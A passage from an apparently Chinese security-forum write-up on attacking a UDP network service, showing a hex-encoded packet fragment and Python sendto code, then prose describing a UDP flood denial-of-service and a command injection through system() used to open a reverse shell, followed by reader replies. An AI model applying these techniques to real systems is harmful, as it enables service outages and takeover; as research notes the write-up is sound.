"\x51\x67\x2f\x4a\x47\x4b\x70\x6a\x70\x34\x50\x31\x6c\x42\x62\x75" \
"\x6b\x36\x50\x35\x7a\x53\x5a\x69\x37\x6f\x59\x7a\x58\x6a\x6d\x67" \
"\x4e\x69\x41\x44\x66\x2f\x37\x44\x74\x55\x78\x59\x52\x6e\x52\x69" \
"\x6d\x56\x6a\x7a\x43\x47\x74\x78\x4c\x43\x4d\x54\x6f\x3d\x2d\x31" \
"\x30\x30\x31\x45\x49\x74\x50\x6c\x48\x6d\x76\x67\x4c\x4e\x37\x5a" \
"\x55\x68\x79\x75\x47\x4d\x6f\x36\x62\x33\x68\x4e\x2f\x6c\x4b\x36" \
"\x6f\x7a\x44\x4e\x30\x38\x73\x69\x56\x79\x2f\x66\x6e\x45\x3d\x22" \
"\x7d\x7d\x00\x03\x00\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"

    udpServerSocket.sendto(content1, addr)
    print('...received from and returned to:', addr)

udpServerSocket.close()


2.拒绝服务

自己模拟了一个客户端然后再data包中参杂各种垃圾数据之后疯狂发包,3s之内服务就死了,让其他同事去链接已经处于拒绝服务的状态了,这里没什么好说的了只需要不停的对目标发送udp包就行了。


3.命令注入

系统调用system中传入的参数直接接收之后使用且a1可控。

那么只需要让shell把我们输入的字符串当成系统命令去执行就可以执行任意命令

找到漏洞模块

Touch 一个文件,好的已经完成。

反弹一个shell获得控制权


[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

最后于 2022-5-30 12:28 被badboyl编辑 ,原因:
收藏
点赞17
打赏
分享
打赏 + 150.00雪花
打赏次数 1 雪花 + 150.00
 
赞赏  Editor   +150.00 2022/06/27 恭喜您获得“雪花”奖励,安全圈有你而精彩!
最新回复 (4)
雪    币: 12050
活跃值: (15369)
能力值: ( LV12,RANK:240 )
在线值:
发帖
回帖
粉丝
pureGavin 2 2022-6-2 14:56
2
0
感谢分享
雪    币: 3893
活跃值: (5513)
能力值: ( LV8,RANK:120 )
在线值:
发帖
回帖
粉丝
badboyl 2 2022-7-1 18:31
3
0
pureGavin 感谢分享
不客气
雪    币: 0
活跃值: (18)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
贴膜工人 2022-7-16 06:59
4
0
问问大佬,这个call system函数有什么办法能批量找到吗?
雪    币: 3893
活跃值: (5513)
能力值: ( LV8,RANK:120 )
在线值:
发帖
回帖
粉丝
badboyl 2 2022-10-8 14:08
5
0
贴膜工人 问问大佬,这个call system函数有什么办法能批量找到吗?
alt+T
游客
登录 | 注册 方可回帖
返回